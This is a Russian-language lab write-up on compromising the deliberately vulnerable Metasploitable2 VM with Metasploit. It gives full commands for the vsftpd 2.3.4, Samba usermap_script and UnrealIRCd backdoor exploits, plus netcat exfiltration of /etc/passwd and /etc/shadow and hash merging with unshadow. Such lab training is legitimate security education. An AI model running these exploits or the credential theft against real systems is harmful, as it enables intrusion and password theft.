Эксплуатация Metasploitable2 с помощью Metasploit: VSFTPD, Samba и другие

Практическое руководство по эксплуатации с использованием Metasploit Framework — от настройки базы данных PostgreSQL и сканирования db_nmap, через три рутовые оболочки через vsftpd, Samba и UnrealIRCd, до кражи учётных данных с помощью Netcat.

Обзор

Этот репозиторий документирует полное взаимодействие с Metasploit против Metasploitable2 в изолированной лаборатории VirtualBox. Рассматриваемые темы:

• Настройка Metasploit с бэкендом PostgreSQL и рабочими пространствами
• Запуск db_nmap для сохранения результатов сканирования непосредственно в базу данных
• Эксплуатация бэкдора vsftpd 2.3.4 (компрометация цепочки поставок)
• Эксплуатация Samba CVE-2007-2447 (usermap_script — инъекция команд)
• Извлечение /etc/passwd и /etc/shadow через Netcat и объединение с помощью unshadow
• Эксплуатация бэкдора UnrealIRCd 3.2.8.1

Лабораторная среда

Сеть: 192.168.1.0/24 — полностью изолированная NAT-сеть внутри VirtualBox.

Шаг 1 — Настройка Metasploit и сканирование с поддержкой базы данных

# Запуск PostgreSQL и инициализация базы данных (однократно)
sudo systemctl start postgresql
sudo msfdb init

# Запуск Metasploit
msfconsole

msf6> db_status           # Проверка: Connected to msf. Connection type: postgresql.
msf6> workspace -a 178-metasploitable2
msf6> workspace           # Подтверждение активного рабочего пространства

msf6> db_nmap -A 192.168.1.0/24 -n

msf6> hosts
msf6> services

На Metasploitable2 обнаружено два FTP-сервера:

Шаг 2 — Эксплуатация vsftpd 2.3.4 (Бэкдор)

В июле 2011 года исходный архив vsftpd 2.3.4 был скомпрометирован — в него был вставлен бэкдор, открывающий рутовую оболочку на порту 6200, если имя пользователя FTP содержит :). CVE: CVE-2011-2523. Разница кода: https://pastebin.com/AetT9sS5

msf6> search type:exploit name:vsftpd
# Результат: exploit/unix/ftp/vsftpd_234_backdoor  (rank: excellent)

msf6> use exploit/unix/ftp/vsftpd_234_backdoor
msf6> info

msf6> set RHOSTS 192.168.1.3
msf6> set RPORT 21
msf6> set LHOST 192.168.1.4
msf6> exploit

meterpreter> shell
whoami          # root
uname -a        # Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

Извлечение хэшей паролей:

cat /etc/shadow | grep '$1'

Шаг 3 — Эксплуатация Samba CVE-2007-2447

Версии Samba 3.0.0–3.0.25rc3 передают метасимволы оболочки в поле имени пользователя напрямую в /bin/sh через опцию username map script — до выполнения аутентификации. Metasploitable2 использует Samba 3.0.20-Debian.

msf6> search type:exploit name:samba
# ~7 эксплойтов найдено

msf6> use exploit/multi/samba/usermap_script
msf6> info

msf6> set RHOSTS 192.168.1.3
msf6> exploit

whoami          # root
smbd --version  # Version 3.0.20-Debian

Извлечение файлов через Netcat

Вкладка 2 — Kali (приём):

nc -l -p 4567 > passwd.txt

Вкладка 1 — Оболочка эксплойта (отправка):

cat /etc/passwd | nc 192.168.1.4 4567

Повторить для /etc/shadow, затем объединить:

unshadow passwd.txt shadow.txt > metasploitable_logins.txt
cat metasploitable_logins.txt

Шаг 4 — Эксплуатация UnrealIRCd 3.2.8.1 (Бэкдор)

UnrealIRCd 3.2.8.1 распространялся с бэкдором в исходном коде. Отправка AB на порт 6667 приводит к тому, что сервер выполняет любую последующую команду с правами root — без аутентификации.

msf6> use exploit/unix/irc/unreal_ircd_3281_backdoor
msf6> set payload cmd/unix/bind_netcat
msf6> set RHOSTS 192.168.1.3
msf6> set LHOST 192.168.1.4
msf6> set RPORT 6667
msf6> exploit

whoami   # root
uname -a # Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

Необходимые опции:

Рабочий процесс Metasploit вкратце

db_nmap → hosts → services → search → use → info → show options → set → exploit → shell

Частые ошибки

Ключевые выводы

• vsftpd 2.3.4 и UnrealIRCd 3.2.8.1 оба были компрометациями цепочки поставок — бэкдоры были встроены в официальные архивы распространения
• CVE-2007-2447 в Samba срабатывает до аутентификации — единственным смягчением является установка исправлений
• Netcat не требует зависимостей и работает для извлечения файлов практически на любой Unix-системе
• info перед exploit — привычка, которую стоит выработать: она показывает CVE, затронутые версии и необходимые опции

🌐 Свяжитесь со мной